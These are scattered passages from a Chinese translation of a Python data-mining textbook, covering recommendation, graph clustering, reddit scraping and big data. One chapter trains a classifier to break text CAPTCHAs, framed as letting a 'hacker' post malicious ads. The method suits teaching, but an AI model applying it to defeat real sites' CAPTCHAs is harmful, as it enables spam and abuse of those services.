本章学习如何用亲和性分析方法找出在什么情况下两个对象经常一起出现。通俗来讲，这也叫“购物篮分析”，因为曾有人用它找出哪些商品经常一起出售。 第3章关注的对象为球队，并用特征描述球队。本章所用到的电影评分数据有所不同，我们所关注的对象（电影）埋在数据中。本章数据挖掘任务的目标是找出对象同时出现的情况，也就是寻找用户同时喜欢几部电影的情况。 本章主要涉及以下几个概念。 亲和性分析 用Apriori算法挖掘关联特征 电影推荐 数据稀疏问题"},
    {"text": "Unknown 12.2 大数据应用场景和目标 企业和个人都离不开大数据。 所有以大数据为基础的系统中，人们与之打交道最多的当属谷歌这样的搜索引擎。对于搜索引擎来说，要在零点几秒的时间内对几十亿甚至更多的网站完成一次搜索，基础的文本查询肯定满足不了需求，单是存储这么多网站的文本内容就是个大难题。要完成搜索引擎中的查询任务，就需要专门创建新数据结构和使用新数据挖掘方法。 很多其他科学实验也都用到了大数据技术，例如大型强子对撞机（Large Hadron Collider）。该机器长达27公里，装有1.5亿个传感器，用于监测每秒几亿个强子的对撞情况，对撞机局部照片请见下图。对撞实验产生的数据量十分惊人，每天过滤后还有25PB（假如不过滤，每年将产生1.5亿PB数据）。这些数据隐藏着宇宙的奥秘，对其进行分析能加深我们对宇宙的认识，但是工程量很大，分析起来也相当困难。 政府部门对大数据的重视程度也在逐渐增加，以充分了解人口、商业活动和国家其他各方面的情况。跟踪几千万乃至几亿人口及成百上千亿的交易量（商贸或医疗开支），很多政府机构都需要依靠大数据分析技术才能完成。 全球很多政府尤其关注交通管理，他们使用数以千万计的传感器判断哪些道路堵塞最为严重，预测新修道路对交通状况的影响。 大型零售商使用大数据改善客户体验，降低支出。这包括预测客户需求，保证供货量适度，向客户推销他们可能喜欢的产品，跟踪交易数据，寻找购物潮流和消费模式，发现潜在欺诈行为。 还有很多大公司用大数据提高公司经营管理的自动化程度，改善产品和服务质量。他们通过大数据分析预测行业风向，跟踪外部竞争者。他们还把大数据用到员工管理上——跟踪员工，发现其离职倾向以及时干预。 信息安全部门通过监测网络流量，结合大数据技术，寻找大型网络的恶意软件感染，这包括寻找奇怪的流量模式，恶意软件传播迹象和其他反常现象。 高级持续性威胁 （Advanced Persistent Threats，APTs）攻击也很令人抓狂，攻击者把恶意代码藏在大型网络中，长期从网络中窃取信息或从事其他破坏活动。寻找APTs往往需要检查很多台计算机进行取证，费时费力，仅靠人工很难完成，这时就可以使用大数据技术实现自动化检查、取证。 大数据方兴未艾，正在越来越多的行业和应用中大显身手。 Unknown 第 12 章——大数据处理 Hadoop课程 雅虎和谷歌面向不同水平的开发者提供了一系列非常实用的Hadoop课程。虽然侧重点不在Python，但是了解Hadoop概念后，再把它们应用到Pydoop或其他类似的库都能取得很好的效果。 雅虎的课程： https://developer.yahoo.com/hadoop/tutorial/ 。 谷歌的课程： https://cloud.google.com/hadoop/what-is-hadoop 。 Pydoop Pydoop是一个用来运行Hadoop任务的Python库——教程请见 http://crs4.github.io/pydoop/tutorial/index.html 。 Pydoop可以跟HDFS配合使用，mrjob有类似功能，但在运行某些任务时，Pydoop能给你更多的控制权。 推荐引擎 创建大型的推荐引擎是测试你大数据技能的好方法。Mark Litwintschik在他的博文中介绍了如何使用大数据技术Apache Spark创建推荐引擎，详见 http://tech.marksblogg.com/recommendation-engine-spark-python.html 。 更多资源 Kaggle竞赛： www.kaggle.com/ Kaggle定期举行数据挖掘竞赛，一般都会提供奖金。参加Kaggle竞赛是学习处理真实场景数据挖掘任务的好方法。他们的社区用户友善、乐于分享——通常你能见到竞赛前10名选手分享代码！ Coursera在线学习网站： www.coursera.org Coursera网站上有很多关于数据挖掘和数据科学的课程，大多是专注于某个方向，比如有专门讲大数据和图像处理的。吴恩达（Andrew Ng）老师的机器学习课程综合性强，涉及面比较广，这门课程很受欢迎，从它开始学起很不错： https://www.coursera.org/learn/machine-learning/ 。 这门课所讲的内容比本书难度要大一点，感兴趣的读者可以将其作为今后的学习方向。 神经网络方面，请留意下这门课程： https://www.coursera.org/course/neuralnets 。 如果你完成了上述课程的学习，可以关注下这门关于概率图模型的课程： https://www.coursera.org/course/pgm 。"},
    {"text": "Unknown 2.3 流水线 随着实验的增加，操作的复杂程度也在提高。我们可能需要切分数据集，对特征进行二值化处理，以特征或数据集中的个体为基础规范化数据，除此之外还可能需要其他各种操作。 要跟踪记录所有这些操作可不容易，如果中间出点问题，先前实验的结果将很难再现。常见问题有落下步骤，数据转换错误，或进行了不必要的转换操作等。 另一个问题就是代码的先后顺序。上一节，我们创建了 X_transformed 数据集，然后创建了一个新的估计器用于交叉检验。如果有多个步骤，就需要跟踪代码中对数据集进行的每一步操作。 流水线结构就是用来解决这些问题的（当然不限于这些，下一章会讲到它在其他方面的应用）。流水线把这些步骤保存到数据挖掘的工作流中。之后你就可以用它们读入数据，做各种必要的预处理，然后给出预测结果。我们可以在 cross_val_score 等接收估计器的函数中使用流水线。创建流水线前，先导入 Pipeline 对象。 from sklearn.pipeline import Pipeline 流水线的输入为一连串的数据挖掘步骤，其中最后一步必须是估计器，前几步是转换器。输入的数据集经过转换器的处理后，输出的结果作为下一步的输入。最后，用位于流水线最后一步的估计器对数据进行分类。我们流水线分为两大步。 (1) 用 MinMaxScaler 将特征取值范围规范到0~1。 (2) 指定 KNeighborsClassifier 分类器。 每一步都用元组（‘名称’，步骤）来表示。现在来创建流水线。 scaling_pipeline = Pipeline([('scale', MinMaxScaler()), ('predict', KNeighborsClassifier())]) 流水线的核心是元素为元组的列表。第一个元组规范特征取值范围，第二个元组实现预测功能。我们把第一步叫作规范特征取值（scale），第二步叫作预测（predict），也可以用其他名字。元组的第二部分是实际的转换器对象或估计器对象。 流水线写好后，运行它很简单。使用先前用到的交叉检验代码看一下实际效果。 scores = cross_val_score(scaling_pipeline, X_broken, y, scoring='accuracy') print(\"The pipeline scored an average accuracy for is {0:.1f}%\". format(np.mean(transformed_scores) * 100)) 运行结果跟之前一样（82.3%），表明我们这次用到的步骤跟之前相同。 后续章节会使用更高级的测试方法，而设置流水线就很有必要，因为它能确保代码的复杂程度不至于超出掌控范围。 Unknown 第 12 章 大数据处理 当今社会数据量呈指数级增长，这些数据来自于用户行为监测系统、分布式系统、网络分析、传感器等。移动互联网的迅速发展又带来移动数据的增长，此外，下一个大潮流—— 物联网 （Internet of Things，IoT）又会进一步提升数据增长速度。 挖掘大数据需要有新思路。运行时间很长的复杂算法要么改进要么抛弃，而能够处理更多数据，复杂程度相对简单的算法正变得更加流行起来。例如，支持向量机是很好的分类器，但是它的一些变种很难在大型数据集上使用。相反，逻辑回归等相对简单的算法处理大数据集更容易。 本章主要内容如下: 大数据的挑战及其应用 MapReduce范式 Hadoop MapReduce 在亚马逊平台上运行MapReduce程序的Python包mrjob Unknown 第 11 章 用深度学习方法为图像中的物体进行分类 第8章用到了最基础的神经网络。最近几年，该领域兴起的研究热潮为其带来了一系列长足的进步。如今，神经网络的研究创造出了一些最为先进和精确的分类算法，在很多领域展露锋芒。 计算机性能的提升使得训练更大、更复杂的神经网络成为可能，但该领域之所以能够取得进步，主要不是因为计算性能的提升，而是因为采用了新的算法和神经网络层。 本章研究如何确定图像中的物体，我们使用像素值作为神经网络的输入值，自动找到有用的像素组合，形成更高层级的特征，然后将其用于实际的分类。本章主要内容如下： 为图像中物体分类 不同类型的深度神经网络 Theano 、 Lasagne 和 Nolearn ：用于创建和训练神经网络的库 用GPU提升算法速度 Unknown 第 7 章——用图挖掘找到感兴趣的人 更复杂的算法 https://www.cs.cornell.edu/home/kleinber/link-pred.pdf 关于如何预测包括社交网络在内的图结构中节点之间是否存在边，已经有大量相关研究。例如，David Liben-Nowell和Jon Kleinberg曾就这一主题发表了一篇论文，对于更复杂算法的设计很有帮助，论文请见上面的链接。 NetworkX https://networkx.github.io/ 如果你以后经常处理图和网络结构，深入研究NetworkX很有必要——可视化选项很好用，算法实现也非常不错。另外一个叫作SNAP的库也针对Python做了封装，请见 http://snap.stanford.edu/snappy/index.html 。 Unknown 5.5 小结 本章重点为特征和转换器，以及如何将其用到数据挖掘流水线中。我们探讨了什么是好特征，以及如何用算法从数据集中选取最佳特征。然而，创建好的特征比起科学更像是一门艺术，通常需要领域相关的知识和经验。 我们创建了自己的转换器，接口与 scikit-learn 常用工具接口一致。后续章节会创建更多的转换器，可以使用现有函数对其进行充分测试。 下一章将介绍文本的特征抽取方法。对于文本而言，转换器和特征类型都不少，但它们各有利弊。"},
    {"text": "Unknown 7.2 寻找子图 利用相似度函数求出每个用户与其他用户之间的相似度，根据相似度进行排序，找出与当前用户最相似的，把他推荐给当前用户——与推荐产品时的做法相同。"},
    {"text": "聚类分析另一个复杂之处在于，不能用事先标注好的数据进行训练——只好在使用聚类数学模型的基础上，求得近似的分组结果，而不是按照用户所期望的那样将数据分为一个个明确的类别。"},
    {"text": "5 5 因为不论权重高低，只要有边连接的顶点就会被算到连通分支里，而一个连通分支被看作是一簇具有相似特点的用户，为了保证簇内用户具有较高的相似度，需要事先把权重低的边过滤掉。"},
    {"text": "G = create_graph(friends, 0.1) 接着使用 NetworkX 提供的函数寻找图中的连通分支： sub_graphs = nx.connected_component_subgraphs(G) 为了了解连通分支到底有多大，遍历找到的连通分支，输出其基本信息： for i, sub_graph in enumerate(sub_graphs): n_nodes = len(sub_graph.nodes()) print(\"Subgraph {0} has {1} nodes\".format(i, n_nodes)) 从输出结果，就能了解到每个连通分支有多大。"},
    {"text": "设置更高的阈值，看看效果： G = create_graph(friends, 0.25) sub_graphs = nx.connected_component_subgraphs(G) for i, sub_graph in enumerate(sub_graphs): n_nodes = len(sub_graph.nodes()) print(\"Subgraph {0} has {1} nodes\".format(i, n_nodes)) 上述代码找到的连通分支数量多，每个连通分支所包含的顶点数量少。"},
    {"text": "sub_graphs = nx.connected_component_subgraphs(G) n_subgraphs = nx.number_connected_components(G) 上述代码中， sub_graphs 是生成器而不是连通分支列表。"},
    {"text": "在用 pyplot 绘制图像时，让图像大小随着连通分支数量的增加而增加： fig = plt.figure(figsize=(20, (n_subgraphs * 3))) 接下来，遍历所有的连通分支，为每一个连通分支作图。"},
    {"text": "add_subplot 的几个参数分别为图的行数、图的列数及图所在位置。 我作图时使用了三列，你可以尝试其他值（记得同时修改行数和列数）： for i, sub_graph in enumerate(sub_graphs): ax = fig.add_subplot(int(n_subgraphs / 3), 3, i) pyplot 默认显示坐标轴标签，在这里没有实际意义。"},
    {"text": "因此把这个功能关掉： ax.get_xaxis().set_visible(False) ax.get_yaxis().set_visible(False) 然后再绘制顶点和边（用 ax 参数绘制相应的子图）。"},
    {"text": "绘图之前需要设置好布局： pos = nx.spring_layout(G) nx.draw_networkx_nodes(G, pos, sub_graph.nodes(), ax=ax, node_size=500) nx.draw_networkx_edges(G, pos, sub_graph.edges(), ax=ax) 从图像中就能了解到各连通分支顶点数量及连接方式。"},
    {"text": "作为一般性规则，它应该能够使得： 同一簇（连通分支）内的个体尽可能 相似 不同簇内的个体尽可能 不相似 轮廓系数 （Silhouette Coefficient）就是一种对上述两点的量化方法。"},
    {"text": "给定一个个体，其轮廓系数定义如下： 其中 a 为 簇内距离 ，表示与簇内其他个体之间的平均距离。 b 为 簇间距离 ，也就是与 最近 簇内各个个体之间的平均距离。"},
    {"text": "总轮廓系数接近最大值1时，表示每个簇内的个体相似度很高，不同簇之间距离较远。 总轮廓系数接近0时，表示所有的簇重合在一起，各簇之间距离很小。 总轮廓系数接近最小值-1时，表示个体出现在错误的簇内，把它们分到其他簇效果可能会更好。"},
    {"text": "函数声明如下： def compute_silhouette(threshold, friends): 使用阈值参数创建图后，检查它是否至少有两个顶点： G = create_graph(friends, threshold=threshold) if len(G.nodes()) < 2: 轮廓系数的定义要求至少有两个顶点（才能计算距离）。"},
    {"text": "代码如下： return -99 然后抽取连通分支： sub_graphs = nx.connected_component_subgraphs(G) 轮廓系数的定义还要求至少有两个连通分支（才能计算不同簇之间的距离），并且至少其中一个连通分支有两个顶点（计算簇内距离）。"},
    {"text": "代码如下： if not (2 <= nx.number_connected_components() < len(G.nodes()) - 1): return -99 接着，需要获取标识着顶点被分到哪个连通分支的标签。"},
    {"text": "代码如下： label_dict = {} for i, sub_graph in enumerate(sub_graphs): for node in sub_graph.nodes(): label_dict[node] = i 遍历图中所有顶点，依次获取到每个顶点的标签。"},
    {"text": "因为图中顶点没有明确的顺序，但是只要没有改动图，顶点会维持现有顺序。 这就表明，只要没有改动图，在图上调用 .nodes() 方法，返回的顶点顺序总是一致的。"},
    {"text": "首先，使用 NetworkX 的 to_scipy_sparse_matrix 函数把图转换为矩阵形式： X = nx.to_scipy_sparse_matrix(G).todense() 写作本书时， scikit-learn 实现的轮廓系数函数不支持稀疏矩阵。"},
    {"text": "可以用可能的最大相似度（1）减去现有相似度，把相似度转化为距离： X = 1 - X 既然已经创建好距离矩阵和标签，现在就可以计算轮廓系数了。"},
    {"text": "第一处是求距离时对相似度取反，这很有必要，因为 scikitlearn 计算轮廓系数的函数使用距离矩阵作为参数。 第二处是对轮廓系数取反，这样才能用SciPy的 optimize 模块。"},
    {"text": "调用 minimize 函数，把用于取反操作的函数 inverted_silhouette 传进来： result = minimize(inverted_silhouette, 0.1, args=(friends,)) 参数说明如下。 inverted_silhouette ：对我们要最小化的函数 compute_silhouette 进行取反操作，将其变为损失函数。"},
    {"text": "简要回顾下针对用户推荐的研究历程，先是用杰卡德相似系数寻找用户间的相似度，再用连通分支把用户分成不同的簇，然后使用最优化方法找到最好的模型。"},
    {"text": "Unknown 8.2 创建数据集 本章，我们将扮演骇客这个角色，我们想编写破解网站验证码的程序，这样我们就有能力在别人网站上发布恶意广告。"},
    {"text": "绘制图像要用到 PIL 库，错切变化需要使用 scikit-image 库。 scikit-image 库能够接收 PIL 库导出的 numpy 数组格式的图像数据，因此这两个工具可以结合使用。 PIL 和 scikitimage 库都可以用 pip 安装： pip install PIL pip install scikit-image 首先，导入即将用到的库和模块。 导入 numpy ，从 PIL 中导入 Image 等绘图函数。"},
    {"text": "这里要用到字体文件，下面代码中的文件名（Coval.otf）应该指向文件存放位置（我把它放到当前笔记本所在目录）。 font = ImageFont.truetype(r\"Coval.otf\", 22) draw.text((2, 2), text, fill=1, font=font) 你可以从开源字库（Open Font Library）下载所需字体文件Coval.otf： http://openfontlibrary.org/en/font/bretan 。"},
    {"text": "代码如下： image = np.array(im) 然后，应用错切变化效果，返回图像。 affine_tf = tf.AffineTransform(shear=shear) image = tf.warp(image, affine_tf) return image / image.max() 上面最后一行代码对图像特征进行归一化处理，确保特征值落在0到1之间。"},
    {"text": "8.2.2 将图像切分为单个的字母 虽然我们的验证码是单词，但是我们不打算构造能够识别成千上万个单词的分类器，而是把大问题转化为更小的问题：识别字母。"},
    {"text": "首先，导入图像分割函数要用到的 label 、 regionprops 函数。 from skimage.measure import label, regionprops 图像分割函数接收图像，返回小图像列表，每张小图像为单词的一个字母，函数声明如下： def segment_image(image): 我们要做的第一件事就是检测每个字母的位置，这就要用到 scikit-image 的 label 函数，它能找出图像中像素值相同且又连接在一起的像素块。"},
    {"text": "start_x, start_y, end_x, end_y = region.bbox 用这两组坐标作为索引就能抽取到小图像（ image 对象为 numpy 数组，可以直接用索引值），然后，把它保存到 subimages 列表中。 代码如下： subimages.append(image[start_x:end_x,start_y:end_y]) 最后（循环外面），返回找到的小图像，每张（希望如此）小图像包含单词的一个字母区域。 没有找到小图像的情况，直接把原图像作为子图返回。 代码如下： if len(subimages) == 0: return [image,] return subimages 使用刚定义的这个函数，就能从前面生成的验证码中找到小图像。 subimages = segment_image(image) 还可以像下面这样查看每张小图像。"},
    {"text": "f, axes = plt.subplots(1, len(subimages), figsize=(10, 3)) for i in range(len(subimages)): axes[i].imshow(subimages[i], cmap=\"gray\") 结果如下。"},
    {"text": "这里几乎没有新内容， numpy 的 arange 函数你可能没用过，它跟Python的 range 函数类似——只不过 arange 函数可以和 numpy 的数组一起用，步长可以使用浮点数。"},
    {"text": "代码如下： from sklearn.utils import check_random_state random_state = check_random_state(14) letters = list(\"ABCDEFGHIJKLMNOPQRSTUVWXYZ\") shear_values = np.arange(0, 0.5, 0.05) 再来创建一个函数（用来生成一条训练数据），从我们提供的选项中随机选取字母和错切值。 代码如下： def generate_sample(random_state=None): random_state = check_random_state(random_state) letter = random_state.choice(letters) shear = random_state.choice(shear_values) 返回字母图像及表示图像中字母属于哪个类别的数值。"},
    {"text": "代码如下： return create_captcha(letter, shear=shear, size=(20, 20)), letters.index(letter) 在上述函数体的外面，调用该函数，生成一条训练数据，用 pyplot 显示图像。"},
    {"text": "image, target = generate_sample(random_state) plt.imshow(image, cmap=\"Greys\") print(\"The target for this image is: {0}\".format(target)) 调用几千次该函数，就能生成足够的训练数据。"},
    {"text": "代码如下： dataset, targets = zip(*(generate_sample(random_state) for i in range(3000))) dataset = np.array(dataset, dtype='float') targets = np.array(targets) 我们共有26个类别，每个类别（字母）用从0到25之间的一个整数表示。"},
    {"text": "代码如下： from sklearn.preprocessing import OneHotEncoder onehot = OneHotEncoder() y = onehot.fit_transform(targets.reshape(targets.shape[0],1)) 我们用的库不支持稀疏矩阵，因此，需要将稀疏矩阵转换为密集矩阵。"},
    {"text": "我们需要用到 scikit-image 库中的 resize 函数，因为我们得到的小图像并不总是20像素见方。 代码如下： from skimage.transform import resize 现在，就可以对每条数据运行 segment_image 函数，将得到的小图像调整为20像素见方。 代码如下： dataset = np.array([resize(segment_image(sample)[0], (20, 20)) for sample in dataset]) 最后，创建我们的数据集。"},
    {"text": "X = dataset.reshape((dataset.shape[0], dataset.shape[1] * dataset. shape[2])) 使用 scikit-learn 中的 train_test_split 函数，把数据集切分为训练集和测试集。"},
    {"text": "代码如下： from sklearn.cross_validation import train_test_split X_train, X_test, y_train, y_test = \\ train_test_split(X, y, train_size=0.9)"},
    {"text": "——译者注 本章的目标是下载大家所关注的新闻报道，对其进行聚类分析，寻找其中的主题或主要概念，无需人工分析成百上千篇新闻报道，就能洞察人们关注的焦点。"},
    {"text": "即使同一个网站，不同的API调用，也有着截然不同的采集频率限制。 例如，谷歌地图对每种资源API的调用限制，与按小时请求就有着不同规定，对前者限制更为严格。"},
    {"text": "不同网站提供不同的接口，大部分Web API提供RESTful接口（Representational State Transfer，表述性状态转移）。 RESTful接口通常与HTTP协议使用相同的操作：GET、POST、DELETE是最常用的。"},
    {"text": "CLIENT_ID = \"<Enter your Client ID here>\" CLIENT_SECRET = \"<Enter your Client Secret here>\" reddit还要求你在使用他们的API时，设置唯一的用户代理（user agent）字符串。 在设置用户代理时，注意把自己的reddit用户名也写上，以创建唯一标识你应用的用户代理字符串。"},
    {"text": "函数声明如下： def login(username, password): 首先，如果你不想把密码写到代码里，把它设置为none，但是你需要在命令行输入，前面已经说过。 代码如下： if password is None: password = getpass.getpass(\"Enter reddit password for user {}: \".format(username)) 使用独一无二的用户代理很重要，否则你的连接将严重受限。 代码如下： headers = {\"User-Agent\": USER_AGENT} 接着，创建HTTP授权对象，以登录reddit服务器。 client_auth = requests.auth.HTTPBasicAuth(CLIENT_ID, CLIENT_SECRET) 发起POST请求到 access_token 端点以实现登录，POST的数据有用户名、密码、授权类型。"},
    {"text": "post_data = {\"grant_type\": \"password\", \"username\": username, \"password\": password} 最后，函数使用 requests 库发起登录请求（通过HTTP POST请求实现），POST请求返回的结果为字典类型。"},
    {"text": "代码如下： response = requests.post(\"https://www.reddit.com/api/v1/access_token\", auth=client_auth, data=post_data, headers=headers) return response.json() 调用上述登录函数，获取令牌。 token = login(USERNAME, PASSWORD) 令牌对象为一字典结构，其中的 access_token 键对应的值就是进一步请求所需的令牌。"},
    {"text": "例如： {'access_token': '<semi-random string>', 'expires_in': 3600, 'scope': '*', 'token_type': 'bearer'} 10.1.2 数据资源宝库reddit 链接聚合网站reddit（ www.reddit.com ）拥有几亿用户，虽然英文版主要面向美国。"},
    {"text": "其他用户对其 点赞 ，表示他们喜欢这个链接的内容，也可以 投反对票 ，表示不喜欢。 点赞最高的链接将被移到网页的最上面，没有多少人喜欢的将不会显示。 随着时间的推移，先前发表的链接也将不再显示（根据喜欢数来定）。"},
    {"text": "——译者注 reddit用户也可以发表链接之外的其他内容，这些内容叫作自己的广播 3 ，它由用户输入的标题和正文组成，通常是为了提问或是引发讨论，不在积分赚取范围之内。"},
    {"text": "广播默认根据 热度 （Hot）进行排序，一条广播的热度由其存在的时间、喜欢数、不喜欢的次数来决定。 除了热度外，还有 最新发表的 （New）和一定时间内 最受欢迎的 （Top）两种排序方法，最新广播可能包含大量的垃圾信息。 本章将按照 热度 来选取广播，这些广播比较新，内容质量也比较高（单纯根据时间排序，得到的链接有很多是垃圾链接）。"},
    {"text": "url = \"https://oauth.reddit.com/r/{}\".format(subreddit) 接下来，需要设置头部，这样才能指定授权令牌，设置独一无二的用户代理，争取不会被过分限制请求次数。 代码如下： headers = {\"Authorization\": \"bearer {}\".format(token['access_token']), \"User-Agent\": USER_AGENT} 然后，跟之前一样，使用 requests 库发起请求，别忘了指定头部。"},
    {"text": "代码如下： for story in result['data']['children']: print(story['data']['title']) 10.1.3 获取数据 我们数据集的每条广播都来自 /r/worldnews 栏目的热度列表。"},
    {"text": "Twitter在返回结果时，同时返回一个游标，调用接口时，再一并传递游标，Twitter再利用此游标获取当前结果的下一页。 reddit的API游标用法几乎和Twitter一致，只不过它使用 after 参数。"},
    {"text": "headers = {\"Authorization\": \"bearer {}\".format(token['access_token']), \"User-Agent\": USER_AGENT} url = \"https://oauth.reddit.com/r/{}?limit=100\". format(subreddit) 从第二次循环开始，我们需要设置 after 参数（否则返回结果都一样）。"},
    {"text": "代码如下： if after: url += \"&after={}\".format(after) 下面跟之前一样，使用 requests 库发起请求，在返回结果上调用 json() 方法，得到Python字典。 response = requests.get(url, headers=headers) result = response.json() 返回结果中包含下一轮迭代所需的 after 值，用它来更新 after 参数。"},
    {"text": "代码如下： stories.extend([(story['data']['title'], story['data']['url'], story['data']['score']) for story in result['data']['children']]) 最后（循环体外面），返回找到的所有新闻报道。"},
    {"text": "Unknown 11.1 物体分类 计算机视觉逐渐成为科技领域的明日之星。未来五年，我们也许就能坐上自动驾驶汽车（甚至可能比这还要提前，如果流传的消息是可信的）。要让计算机来开车，它得能看清周围的环境：障碍物、其他车辆和天气状况等。 虽然计算机借助雷达等技术很容易就能检测到是否有障碍物，但这还不够，它还需要知道障碍物是什么。假如是动物，它们可能很快就会跑开，但如果是建筑物，那就麻烦了，计算机需要控制车辆躲开。 Unknown 2.4 小结 本章，我们用 scikit-learn 库提供的几个方法，创建了运行和评估数据挖掘模型的标准工作流。还介绍了近邻算法， scikit-learn 将其封装为一个估计器，使用起来很简单：首先调用 fit 函数在训练集上进行训练，然后用 predict 函数在测试集上评估效果。 本章还通过解决不同特征值域影响分类效果的问题，讲解了预处理方法，主要用到了转换器对象和 MinMaxScaler 类。它们也有训练（ fit ）和转换方法，在转换阶段，接收数据集，返回处理过的数据集。 下一章，我们尝试把学到的这些概念应用到一个大一点的例子上，学着预测NBA（美国职业篮球联赛）比赛结果，其中使用的数据集可是真实的哦。 Unknown 3.5 小结 本章使用 scikit-learn 库的另一个分类器 DecisionTreeClassifier ，并介绍了如何用pandas处理数据。我们分析了真实的NBA赛事的比赛结果数据，创建新特征用于分类，并在这个过程中发现即使是规整、干净的数据也可能存在一些小问题。 我们发现好的特征对提升正确率很有帮助，还使用了一种集成算法——随机森林，进一步提升正确率。 下一章将会扩展在第1章使用的亲和性分析算法，用来发现相似的电影。我们还将学到如何用算法解决排序问题，以及如何提升数据挖掘算法的可扩展性。 Unknown 11.7 小结 本章讲解了深度神经网络，为了处理计算机视觉问题，着重讲解卷积网络。我们使用 Lasagne 和 nolearn 库来构建神经网络，很多数据处理工作交由 Theano 来做。用 nolearn 提供的工具构建神经网络相对比较容易。 卷积神经网络专门用来处理计算机视觉问题，所以最后得到的分类结果很精确也不足为奇。最终结果表明，随着算法和计算能力的提升，计算机视觉的应用前景也更为广阔。 我们在虚拟机上使用GPU计算，大幅提升训练速度，在虚拟机上运行的速度几乎是我本地计算机的10倍。如果某些算法需要额外的计算能力，可以考虑使用性价比很高的云主机（一般每小时不到1美元）——只要记得用完后即时关机就好！ 本章所研究的卷积网络算法相当复杂。卷积网络训练时间长，有很多参数需要训练。数据集看似不小，其实还称不上大数据，甚至不用稀疏矩阵，就能把这些数据全部加载到内存。下章所讲的算法更加简单，但是数据集却特别大，无法装进内存，这是大数据最显著的一个特点，采矿业和社交网络等行业所产生的数据都具有这个特点。 Unknown 侵权 所有媒体在互联网上都面临的一个问题就是侵权。对Packt来说，我们严格保护我们的版权和许可证。如果你在网上发现针对我们出版物的任何形式的盗版产品，请立即告知我们地址或网站名称，以便我们进行补救。 请将盗版书籍的网站地址发送到copyright@packtpub.com。 如果你能这么做，就是在保护我们的作者，保护我们，只有这样我们才能继续以优质内容回馈像你这样热心的读者。"},
    {"text": "Unknown 12.1 大数据 大数据具有哪些特点呢？它的大多数支持者认为有以下4个特点，简称4V。 (1) 海量 （Volume）：我们产生和存储的数据量加速增长，未来势头看起来会更猛。现在常用的硬盘容量单位为GB，再过几年就会变为EB 1 。同时网络吞吐量也会增长。信噪比不容乐观，重要信息很可能被海量重要程度低的信息湮没。 1 EB（exabyte），艾字节，1EB=1024PB，1PB=1024TB，1TB=1024GB。1EB约等于10亿GB。——译者注 (2) 高速 （Velocity）：数据量增长的同时，数据处理速度在加快。就拿现如今的汽车举例子，每辆车装有成百上千个传感器，这些传感器不停地向汽车内置的计算机传送数据，要完成操纵汽车的任务，数据的分析处理速度需要达到次秒级水准。这不仅要从大量数据中寻找答案，还得速度快。 (3) 多样 （Variety）：数据集有多种形式，各列清晰定义的规整数据集只占其中很少一部分。想想社交网站的一条消息吧，它可能包含文本、照片、提及其他用户 2 、喜欢数、评论数、视频、地理位置信息等。简单地忽略掉这些难以整合进模型的数据势必会导致信息丢失。 2 指“@”加用户名这种形式。——译者注 (4) 准确 （Veracity）：随着数据量的增加，很难确定采集到的数据是否正确——是否过时、充满噪音，有没有包含异常数据，或者总体来说是否有用等。倘若人们无法对数据的准确性进行有效验证，要信赖数据很难。人们从外部得到的数据集被不停地整合到内部数据集中，使得数据的准确性这个问题更加突出。 从以上四点（也有人认为是五点 3 ）就能看出大数据不仅仅是大量的数据，处理大数据对工程能力要求很高——更不用说对它们进行分析了。很多“蛇油商人” 4 只关心怎样夸大大数据的应用，却避而不谈大数据工程的挑战以及潜在分析工作的难度。 3 有人认为大数据的另一个特点是价值（Value），经过挖掘得到的结论有实际应用价值。——译者注 4 蛇油商人（snake oil salesman）跟“江湖郎中”有相同的贬义内涵。19世纪，国人赴美修建北太平洋铁路，带去从南方水蛇体内提炼的蛇油，以祛风湿，缓筋骨之痛，颇受当地人欢迎。后美国商人Clark Stanley等改从北美响尾蛇提炼蛇油，批量生产，但效果较差，甚至出现产品中压根不含蛇油的造假现象。该词遂被用来指打着不容置疑的旗号，推销假冒伪劣谋求私利的骗子。——译者注 我们前面用过的这些算法都是把数据集加载到内存后再进行处理。这对于提升计算速度很有好处，因为处理已经在内存中的数据比起先从硬盘加载到内存后再处理要快得多。此外，我们可以对内存中的数据进行多次迭代，改善模型。 对于大数据，我们就无法将其加载到内存中。从很多方面来讲，可以用此来判断一个问题能不能称得上大数据问题——如果数据可以加载到你计算机内存中，那就算不上大数据。 Unknown 10.6 小结 本章研究了一种无监督学习方法——聚类。无监督学习用来探索数据而不是分类或预测。我们从reddit网站采集到的数据没有类别，所以无法对其进行分类。我们使用k-means算法把新闻报道分成组，以找到数据中隐藏的主题和趋势。 从reddit网站采集网址数据后，我们发现它们指向不同的网站，因此，需要研制一种适用范围广的网页内容抽取方法。抽取数据时，我们只寻找大块的文本，而没有使用成熟的机器学习方法。有一些有趣的机器学习方法可以改善文本抽取效果，详见附录部分本章的补充内容。我在附录中，针对每一章都给出了后续学习方向及实验效果改善方法，还给出了参考资料，并介绍了读者可能感兴趣的难度更大的应用。 本章还探讨了一种很直观的融合算法——证据累积算法。融合算法可用来处理结果之间的差异，尤其是你不知道怎么选取好的参数时（参数选取对于聚类来说就特别难）。 最后，我们介绍了线上学习。这是通向包括大数据在内的大型机器学习算法的入口，接下来两章会讲大数据。后两章的实验规模很大，在学习模型的同时，还要求学会管理数据。 下一章将从无监督学习再度回到分类。我们将研究以复杂神经网络为基础的分类方法——深度学习。 Unknown 第 5 章——用转换器抽取特征 增加噪音 本章讲到了如何通过 删除 噪音来提升性能；然而，有些数据集需要 增加 噪音。原因很简单——防止分类器过拟合训练数据，从而生成适用性更强的规则（但过多的噪音会导致模型过于宽泛，效果反而不好）。尝试实现往数据集中添加噪音的转换器。在UCI ML的数据集上进行测试，看看能否提升在测试集上的表现。 Vowpal Wabbit http://hunch.net/~vw/ Vowpal Wabbit项目用于快速从文本中抽取特征。它针对Python进行了封装，可以直接在Python代码中调用。在大数据集上试试它的效果，比如第12章使用的博客语料。 Unknown 版权声明 Copyright © 2015 Packt Publishing. First published in the English language under the title Learning Data Mining with Python . Simplified Chinese-language edition copyright © 2016 by Posts & Telecom Press. All rights reserved. 本书中文简体字版由Packt Publishing授权人民邮电出版社独家出版。未经出版者书面许可，不得以任何方式复制或抄袭本书内容。 版权所有，侵权必究。"},
    {"text": "这时，我们就可以用不同的方法从已有特征中发掘新特征，比如前面用到的一位有效编码（one-hot encoding），我们可以用它把有A、B、C三个选项的类别型特征转换为三个新的特征：“是A吗？"},
    {"text": "import os import numpy as np import pandas as pd data_folder = os.path.join(os.path.expanduser(\"~\"), \"Data\") data_filename = os.path.join(data_folder, \"Ads\", \"ad.data\") 数据集存在几个问题，加载过程需要我们做些处理。"},
